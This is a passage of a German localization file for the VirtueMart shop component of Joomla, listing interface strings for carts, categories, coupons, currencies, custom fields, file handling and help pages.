COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Sichtbar für Käufer" COM_VIRTUEMART_CALC_VALUE_MATHOP="Mathematische Operation" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Unsichtbar für Verkäufer" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Sichtbar für Käufer" COM_VIRTUEMART_CALC_VIS_SHOPPER="Sichtbar Käufer" COM_VIRTUEMART_CALC_VIS_VENDOR="Sichtbar Verkäufer" COM_VIRTUEMART_CANCEL="Stornieren" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Kann Abbildung für Kategorie nicht erstellen" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Kann Abbildung für Hersteller nicht erstellen" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Kann Abbildung für Produkt nicht erstellen" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Kann Abbildung für Verkäufer nicht erstellen" COM_VIRTUEMART_CART_DATA_NOT_VALID="ungültige Kartendaten" COM_VIRTUEMART_CART_MAIL_FOOTER="Vielen Dank für Ihren Einkauf bei " COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

        Bestellung bestätigt

        Sie haben einen Einkauf in %1$s Shop online bestätigt.

        Sie können den Status Ihrer Bestellung überprüfen, indem Sie Ihr persönliches Konto aufrufen

        " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Ihr Kennwort für diese Bestellung" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="Keine Zahlungsart ausgewählt" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="Keine Versandart ausgewählt" COM_VIRTUEMART_CART_PRICE="Preis" COM_VIRTUEMART_CART_PRICE_FREE="+0,00 €" COM_VIRTUEMART_CART_TOTAL="Gesamtbetrag" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Zeigt den Warenkorb an" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Warenkorb" COM_VIRTUEMART_CAST_VOTE="Bitte geben Sie Ihre Stimme ab" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Verwandte Kategorien Suche" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Um die Stammkategorie zu bestimmen" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Kategorie Layout" COM_VIRTUEMART_CATEGORY="Produktkategorie" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Kategoriebeschreibung" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Wählen Sie eine Kategorie" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Wählen Sie eine Kategorie" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Kategorie-Übersicht Layout" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Standard-Kategorie Layout" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Standard Produkt-Detailseite Layout" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Abbildung löschen" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Kategorie Formular Startzahl anzuzeigender Einträge" COM_VIRTUEMART_CATEGORY_FORM_LBL="Produktkategorie Formular" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_MAX="Kategorie Formular Listenlimit max." COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_START="Kategorie Formular Listenlimit Start" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Kategorie Formular Listenlimit Schrittgrösse" COM_VIRTUEMART_CATEGORY_FORM_PARENT="Stammkategorie" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Standard Anzahl der Produkte pro Reihe" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Gemeinsame Kategorie?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Kategorie Template" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Kategorie Höchste Ebene" COM_VIRTUEMART_CATEGORY_ID="Kategorie" COM_VIRTUEMART_CATEGORY_IMAGE="Kategoriebild" COM_VIRTUEMART_CATEGORY_NAME="Kategorie Name" COM_VIRTUEMART_CATEGORY_ORDERING="Kategorie Sortierung" COM_VIRTUEMART_CATEGORY_S="Produktkategorien" COM_VIRTUEMART_CATEGORY_SHARE="Gemeinsame Kategorie" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Kategorie auf »gemeinsam« setzen" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Shop Standard verwenden" COM_VIRTUEMART_CATEGORY_UNSHARE="Einzel-Kategorie" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Einzel-Kategorie" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Zeigt eine einzelne VirtueMart Kategorie" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Kategorie Layout" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Inhalts-Plugins in den Beschreibungen aktivieren?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="Falls aktiviert, werden Produkt- und Kategorie-Beschreibungen von allen freigegebenen Inhalts-Plugins analysiert." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Wählen Sie einen Währungsumrechner Modul" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="Dies ermöglicht Ihnen, ein bestimmtes Währungsumrechnungs-Modul zu wählen. Solche Module holen Wechselkurse von einem Server und konvertieren eine Währung in eine andere." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Aktivieren Sie diese Funktion" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Benachrichtigung 'Geringer Bestand' senden" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Sendet eine Benachrichtigung über geringen Bestand, wenn der Vorrat an gebuchten, bestellten Produkten im Bestand geringer ist als der eingetragene Wert in 'Produkt bearbeiten' - 'Produktstatus'" COM_VIRTUEMART_CFG_POOS_ENABLE="Aktion, falls ein Produkt nicht vorrätig ist" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="Sie können hier definieren, welche Aktion stattfinden soll, wenn ein Produkt nicht vorrätig ist" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Anzeigen/Ändern des Transaktionschlüssels" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Allgemeine Variable für Produktvarianten" COM_VIRTUEMART_CLONE="Klonen" COM_VIRTUEMART_CLOSE="Schliessen" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="Neue Artikel werden standardmäßig auf den letzten Platz gesetzt. Reihenfolge kann nach Speicherung des Artikels geändert werden." COM_VIRTUEMART_CMN_OPTIONAL="Optional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Spalten, Reihen Eigenschaften" COM_VIRTUEMART_COMMENT="Kommentar" COM_VIRTUEMART_COMMENT_MIN_MAX="Ihre Mitteilung sollte zwischen %s und %s Zeichen lang sein. Danke." COM_VIRTUEMART_COMMUNITY_FORUM="Forum" COM_VIRTUEMART_CONFIG="Konfiguration" COM_VIRTUEMART_CONFIGURATION="Konfiguration" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Kann nicht in die Konfigurationsdatei %s schreiben!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="Die Konfigurationdaten wurden aktualisiert!" COM_VIRTUEMART_CONFIGURATION_MOD="Konfiguration" COM_VIRTUEMART_CONFIG_SAVED="Konfiguration gespeichert" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="Keine Shop Währung definiert! Gehen Sie zu %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Die Währung ist nicht formatiert! Gehen Sie zu %s" COM_VIRTUEMART_CONTROL_PANEL="Kontrollzentrum" COM_VIRTUEMART_COOKIE_MISSING="Cookie fehlt" COM_VIRTUEMART_COUNTRY="Land" COM_VIRTUEMART_COUNTRY_2_CODE="Land (2) Code" COM_VIRTUEMART_COUNTRY_3_CODE="Land (3) Code" COM_VIRTUEMART_COUNTRY_DETAILS="Land Details" COM_VIRTUEMART_COUNTRY_NAME="Name des Landes" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Land Referenzname" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="Der Referenzname des Landes wird benutzt, wenn kein Schlüssel (Key) für dieses Land in der Sprachdatei existiert. Andernfalls wird der Schlüssel benutzt. Die Schlüssel befinden sich in der Datei 'com_virtuemart_countries.ini'. Jeder Schlüssel muß ein Präfix 'COM_VIRTUEMART_COUNTRY_' , gefolgt von den 3 Buchststaben des Ländercodes haben." COM_VIRTUEMART_COUNTRY_S="Länder" COM_VIRTUEMART_COUPON="Gutschein" COM_VIRTUEMART_COUPONS_ENABLE="Gutschein-Nutzung aktivieren" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="Wenn Sie die Gutschein-Nutzung aktivieren, erlauben Sie Käufern, Gutschein-Nummern einzugeben, mit denen sie einen Preisnachlass erhalten." COM_VIRTUEMART_COUPONS_EXPIRE="Standard Gutschein-Gültigkeitszeitraum" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="Hier können Sie einen Standard-Gültigkeitszeitraum für Gutscheine festlegen. Diese verfallen mit Ablauf des Zeitraumes nach ihrer Erstellung. Das Datum kann für jeden Gutschein geändert werden." COM_VIRTUEMART_COUPON_CODE="Gutschein Code" COM_VIRTUEMART_COUPON_DETAILS="Gutschein Details" COM_VIRTUEMART_COUPON_DISCOUNT="Gutschein Preisnachlass" COM_VIRTUEMART_COUPON_EXPIRY="Gutschein Verfalldatum" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Gutschein Verfalldatum" COM_VIRTUEMART_COUPON_PERCENT="Prozent" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Prozent oder Betrag" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Prozent oder Betrag" COM_VIRTUEMART_COUPON_S="Gutscheine" COM_VIRTUEMART_COUPON_START="Gutschen gültig ab Datum" COM_VIRTUEMART_COUPON_START_TIP="Gutschein gültig ab Datum" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Absenden" COM_VIRTUEMART_COUPON_TIP="Der Gutschein-Code, den der Kunde eingeben muss" COM_VIRTUEMART_COUPON_TOTAL="Betrag" COM_VIRTUEMART_COUPON_TYPE="Gutschein-Typ" COM_VIRTUEMART_COUPON_TYPE_GIFT="Geschenk-Gutschein" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Dauer-Gutschein" COM_VIRTUEMART_COUPON_TYPE_TIP="Ein Geschenkgutschein wird gelöscht, nachdem er für einen Preisnachlass bei einer Bestellung verwendet wurde. Ein Dauer-Gutschein kann vom Käufer so oft verwendet werden wie er will." COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="Gutschein-Wert muss eine Zahl sein." COM_VIRTUEMART_COUPON_VALUE_TIP="Gutschein-Wert" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Mindest-Gesamtbestellwert" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Wert für den Produkt-Bestellwert nicht gültig" COM_VIRTUEMART_CREATED_ON="Erstellungsdatum" COM_VIRTUEMART_CREATE_ACCOUNT="Registrieren" COM_VIRTUEMART_CURRENCY="Währung" COM_VIRTUEMART_CURRENCY_CODE_2="Code 2 Buchstaben" COM_VIRTUEMART_CURRENCY_CODE_3="Code 3 Buchstaben" COM_VIRTUEMART_CURRENCY_DECIMALS="Dezimalstellen" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Dezimaltrennzeichen" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Zeichen, welches als Dezimaltrennzeichen verwendet wird" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Anzahl der anzuzeigenden Dezimalstellen (kann 0 sein)
        Führt eine Rundung durch, wenn der Wert eine abweichende Anzahl der Dezimalstellen aufweist" COM_VIRTUEMART_CURRENCY_DETAILS="Währungs-Details" COM_VIRTUEMART_CURRENCY_DISPLAY="Stil der Währungsanzeige" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="Für Positiv- oder Negativ-Format, verwenden Sie
        • {sign} für das algebraische Zeichen,
        • {number} für den Wert und
        • {symbol} für die Währung
          • als Platzhalter sind alle html Tags erlaubt, ausser dem |Zeichenh.
            Zum Beispiel
            '{sign} {number} {symbol}'
            wird einen Preis wie folgt anzeigen '+ 42,23 €'" COM_VIRTUEMART_CURRENCY_END_DATE="Enddatum" COM_VIRTUEMART_CURRENCY_ERR_CODE="Sie müssen einen Code für die Währung eingeben." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Bitte wählen Sie die zu löschende Währung." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Wechselkurs" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Währungs-Funktion für Nicht-Verkäufer verboten" COM_VIRTUEMART_CURRENCY_NAME="Name der Währung" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Negativ-Format" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Numerischer Code" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Positiv-Format" COM_VIRTUEMART_CURRENCY_S="Währungen" COM_VIRTUEMART_CURRENCY_START_DATE="Startdatum" COM_VIRTUEMART_CURRENCY_SYMBOL="Währungssymbol" COM_VIRTUEMART_CURRENCY_THOUSANDS="Tausender-Trennzeichen" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="Dieses Produkt ist derzeit nicht verfügbar." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Aktueller Transaktions-Schlüssel" COM_VIRTUEMART_CUSTOM="Benutzerdefinierte Felder" COM_VIRTUEMART_CUSTOMER_RATING="Durchschnittliche Käuferbewertung" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Einige Plugins können Javascript enthalten. Bitte speichern Sie Ihr Produkt, um die volle Kontrolle über Ihre Plugins zu haben und kommen dann hierher zurück" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Nur für Admin" COM_VIRTUEMART_CUSTOM_BOOL="Boole'sche" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="Der benutzerdefinierte Eintrag selbst kann nicht der Stamm sein!" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Warenkorb Benutzer-Variante" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Warenkorb-Variante" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="Benutzerdefinierte Typ(en) erfolgreich geklont" COM_VIRTUEMART_CUSTOM_DEFAULT="Standardwert" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plugins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Beschreibung" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Preis: " COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Benutzerdefinierter Feld-Typ: " COM_VIRTUEMART_CUSTOM_ID="benutzerdefinierte ID" COM_VIRTUEMART_CUSTOM_IMAGE="Abbildung" COM_VIRTUEMART_CUSTOM_INT="Integer" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Warenkorb Attribut" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Verborgen" COM_VIRTUEMART_CUSTOM_IS_LIST="Ist eine Liste?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Layout Position" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Klonen benutzerdefinierter Typ(en) fehlgeschlagen" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="Keine Produktvariante" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="Keine Beziehung gefunden" COM_VIRTUEMART_CUSTOM_NO_TYPES="Keine benutzerdefinierten Felder. Bitte verwenden Sie die Auswahlliste, um einige neue Felder hinzuzufügen" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Benutzerdefinierter Seitentitel" COM_VIRTUEMART_CUSTOM_PARENT="Feldgruppe" COM_VIRTUEMART_CUSTOM_PO="Stammprodukt bestellbar" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Produktvariante" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Plugin Werte des Stammproduktes überschreiben" COM_VIRTUEMART_CUSTOM_STRING="Zeichenfolge" COM_VIRTUEMART_CUSTOM_TEXTAREA="Textbereich" COM_VIRTUEMART_CUSTOM_TIP="Kurzinfo" COM_VIRTUEMART_CUSTOM_TITLE="Titel" COM_VIRTUEMART_CUSTOM_WP="Stammprodukt als Option anzeigen" COM_VIRTUEMART_DATE="Datum" ; THis is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 wird für den Datumswähler verwendet und darf nur m d und y mit Seperatoren enthalten. COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="d.m.y" ; siehe http://docs.jquery.com/UI/Datepicker/formatDate um das entsprechende JS Format zu finden COM_VIRTUEMART_DAY="Tag" COM_VIRTUEMART_DEFAULT="Standard" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Standard Hauptebene" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Standard Verkäufer-Währung" COM_VIRTUEMART_DELETE="Löschen" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s benutzerdefinierte Feld-Elemente wurden gelöscht" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s Media-Elemente wurden gelöscht" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Alle Tabellen zurücksetzen
            und neue installieren" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="Dies löscht alle VirtueMart Tabellen und installiert neue (leer, ohne Dateien). Sind Sie sicher?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Alle Tabellen zurücksetzen
            und Beispieldaten installieren" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="Hiermit werden alle Tabellen von VirtueMart gelöscht und anschließend eine Neuinstallation durchgeführt (ohne Dateien). Sind Sie sicher?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Warnung" COM_VIRTUEMART_DELETE_MSG="Sind Sie sicher, dass Sie diesen Eintrag wirklich löschen wollen?" COM_VIRTUEMART_DELETE_RECORD="Diesen Eintrag löschen" COM_VIRTUEMART_DELIVERY_TIME="In der Regel versandfertig in" COM_VIRTUEMART_DESCRIPTION="Beschreibung" COM_VIRTUEMART_DETAILS="Details" COM_VIRTUEMART_DISABLED="Deaktiviert" COM_VIRTUEMART_DISABLE_ITEM="Artikel deaktivieren" COM_VIRTUEMART_DISCOUNT="Preisnachlaß" COM_VIRTUEMART_DISCOUNT_ADDDISCOUNT_TIP="Sie können das Formular Produkt-Preisnachlass-Formular verwenden um Preisnachlässe hinzuzufügen!" COM_VIRTUEMART_DISCOUNT_ADDED="Das Produkt-Preisnachlass wurde hinzugefügt." COM_VIRTUEMART_DISCOUNT_AMOUNTTYPE="Preisnachlass-Typ" COM_VIRTUEMART_DISCOUNT_ISPERCENT="Prozentsatz" COM_VIRTUEMART_DISCOUNT_ISPERCENT_TIP="Soll der Preisnachlass als Prozentsatz oder als Betrag angegeben werden?" COM_VIRTUEMART_DISCOUNT_ISTOTAL="Betrag" COM_VIRTUEMART_DISPLAY_END="Endbetrag" COM_VIRTUEMART_DISPLAY_STEP="Zwischenbetrag" COM_VIRTUEMART_DISPLAY_STOCK="Lagerbestand anzeigen" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="Falls aktiviert, wird der Lagerbestand im Layout der Frontend-Kategorieseiten angezeigt" COM_VIRTUEMART_DOCUMENTATION="Dokumentation" COM_VIRTUEMART_DOWNLOADABLE="Herunterladbar" COM_VIRTUEMART_DO_LOGIN="Sie müssen sich einloggen" COM_VIRTUEMART_EDIT="Bearbeiten" COM_VIRTUEMART_EDITSHOP="Bearbeiten" COM_VIRTUEMART_EDIT_PARENT="Stammprodukt bearbeiten" COM_VIRTUEMART_EDIT_REVIEW="Bearbeiten" COM_VIRTUEMART_EMAIL="E-Mail" COM_VIRTUEMART_EMAIL_SENDTO="Eine Bestätigungs-E-Mail wurde gesendet an" COM_VIRTUEMART_EMPTY_CATEGORY="Diese Kategorie ist derzeit leer." COM_VIRTUEMART_ENABLED="Aktiviert" COM_VIRTUEMART_ENABLE_ITEM="Artikel aktivieren" COM_VIRTUEMART_ENCODE_INSECURE="VERSCHLÜSSELN (unsicher)" COM_VIRTUEMART_END_DATE="Enddatum" COM_VIRTUEMART_ENQUIRY="Anfrage" COM_VIRTUEMART_ENTER_VALID_DATE="Bitte geben Sie ein gültiges Datum (JJJJ-MM-DD) ein" COM_VIRTUEMART_ENTER_VALUE_FIELD="Bitte geben Sie einen Wert in das Feld ein" COM_VIRTUEMART_ERROR="Fehler" COM_VIRTUEMART_EXCLUDING_TAX="(Ohne MwSt.)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Erinnerung daran, ihre Erweiterungen mit dem 'AIO installer' ebenfalls zu aktualisieren" COM_VIRTUEMART_E_IMAGES="Abbildungen" COM_VIRTUEMART_E_REMOVE="Entfernen" COM_VIRTUEMART_FEATURED="Aktion" COM_VIRTUEMART_FEATURED_PRODUCT="Aktionsprodukte" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Aktionsprodukte und & preisreduzierte Produkte" COM_VIRTUEMART_FEE="Gebühr" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Abonnieren Sie Benachrichtigungen über die neuesten Produkte!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Abonnieren Sie Benachrichtigungen über die neuesten Produkte in dieser Kategorie!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="Benutzerfeld aus Joomla Basis" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Konto" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registrierung" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Versand" COM_VIRTUEMART_FIELDMANAGER_NAME="Feldbezeichnung" COM_VIRTUEMART_FIELDMANAGER_REORDER="Neu sortieren" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Erforderlich" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Erforderlich" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Konto" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Anzeigen/Verbergen in:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="In der Kontoverwaltung anzeigen" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Im Anmeldeformular anzeigen" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Im Versandformular anzeigen" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registrierung" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Versand" COM_VIRTUEMART_FIELDMANAGER_TITLE="Feldbezeichnung" COM_VIRTUEMART_FIELDMANAGER_TYPE="Feldtyp" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Nicht erforderlich" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Altersprüfung (Datumsauswahl-Felder)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Altersprüfung (Datumsauswahl-Felder) Eigenschaften" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Legen Sie das Mindestalter fest" COM_VIRTUEMART_FIELDS_CAPTCHA="Captcha Feld (verwendet com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Auswahlkästchen (Mehrfachauswahl)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Auswahlkästchen (Einfachauswahl)" COM_VIRTUEMART_FIELDS_DATE="Datum" COM_VIRTUEMART_FIELDS_DELIMITER="--- Felder Trennsymbol ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Dropdown Listenfeld (Mehrfachauswahl)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Dropdown Listenfeld (Einfachauswahl)" COM_VIRTUEMART_FIELDS_EDITORAREA="Editor Textbereich" COM_VIRTUEMART_FIELDS_EMAIL="E-Mail Adresse" COM_VIRTUEMART_FIELDS_NEWSLETTER="Newsletter Abonnement" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Optionsschaltfläche" COM_VIRTUEMART_FIELDS_TEXTAREA="Textbereich" COM_VIRTUEMART_FIELDS_TEXTFIELD="Textfeld" COM_VIRTUEMART_FIELDS_WEBADDRESS="Web-Adresse" COM_VIRTUEMART_FIELD_TYPE="Feldtyp" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Konnte die Datei nicht löschen." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="Datei erfolgreich gelöscht." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Konnte Vollbild-Datei nicht löschen" COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Vollbild erfolgreich gelöscht." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="Das Minibild wurde erfolgreich erstellt!" COM_VIRTUEMART_FILES_LIST="Dateiliste" COM_VIRTUEMART_FILES_LIST_FILENAME="Dateiname" COM_VIRTUEMART_FILES_LIST_FILETITLE="Dateititel" COM_VIRTUEMART_FILES_LIST_FILETYPE="Datei-Typ" COM_VIRTUEMART_FILES_LIST_GO_UP="Nach oben" COM_VIRTUEMART_FILES_LIST_ROLE="Funktion" COM_VIRTUEMART_FILES_LIST_UP="Aufwärts" COM_VIRTUEMART_FILES_NOT_FOUND="Entschuldigung, aber die angeforderte Datei wurde nicht gefunden!" COM_VIRTUEMART_FILES_PATH_ERROR="Bitte geben Sie einen gültigen Pfad an!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Konnte die Minibild Datei nicht löschen (vielleicht nicht vorhanden)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Minibild erfolgreich gelöscht." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="Fehler bei Datei/Bild hochladen" COM_VIRTUEMART_FILE_DELETE_ERR="Datei konnte nicht gelöscht werden %s" COM_VIRTUEMART_FILE_DELETE_OK="Datei gelöscht" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Media Datei erfolgreich gespeichert" COM_VIRTUEMART_FILE_UPLOAD_OK="Datei %s hochgeladen" COM_VIRTUEMART_FILTER="Filter" COM_VIRTUEMART_FILTER_BY="Filtern nach" COM_VIRTUEMART_FOLDER_NOT_EXIST="Ordner %s existiert nicht. Sie können ihn erstellen und darin Ihre Bilder platzieren." COM_VIRTUEMART_FORM_EDIT=": [ Editieren ]" COM_VIRTUEMART_FORM_GENERAL="Allgemeine Informationen" COM_VIRTUEMART_FORM_NEW=": [ Neu ]" COM_VIRTUEMART_FOR_SALE="Datei wird zum Verkauf angeboten" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="zur Ansicht mit vorgewähltem Hersteller" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Mindestbetrag für kostenlosen Versand" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="Der Mindestbetrag (INKLUSIVE MWST!) für kostenlosen Versand (Beispiel: 50 bedeutet €50 (inkl. MwSt) oder mehr." COM_VIRTUEMART_FREE_SHIPPING_CART="Versand für diese Bestellung ist kostenlos" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Generell https-Verbindungen verhindern?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="Falls ausgewählt, wird der Käufer auf die http URL umgeleitet, sofern er nicht in Shop-Bereichen surft, die zwingend die Verwendung von https erfordern." COM_VIRTUEMART_GO="Los!" COM_VIRTUEMART_GROUP_NAME="Name der Berechtigungsgruppe" COM_VIRTUEMART_HELP="Hilfe" COM_VIRTUEMART_HELP_ABOUT="VirtueMart ist die komplette E-Kommerz Lösung für Joomla!. Es besteht aus einer Komponente sowie mehreren Modulen und Plugins. Es hat seine Wurzeln in dem Warenkorb Skript 'phpShop' (Autoren: Edikon Corp. & der phpShop Community)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Zahlen Sie mit PayPal - Es ist schnell, sicher und für den Käufer kostenlos!" COM_VIRTUEMART_HELP_DONATION_DESC="Bitte erwägen Sie eine kleine Spende an das VirtueMart Projekt. Es hilft uns, die Arbeit an dieser Komponente fortzuführen und neue Features zu programmieren." COM_VIRTUEMART_HELP_HOMEPAGE="Startseite" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart ist lizensiert unter der {licensename} Lizenz." COM_VIRTUEMART_HELP_PROJECTLEADER="Projektleiter" COM_VIRTUEMART_HELP_TEAM="Es gibt ein kleines Team von Entwicklern, die daran mitarbeiten dieses Warenkorb-Script weiterzuentwickeln." COM_VIRTUEMART_HELP_TOPICS="Hilfethemen" COM_VIRTUEMART_HELP_YOURVERSION="Ihre {product}-Version" 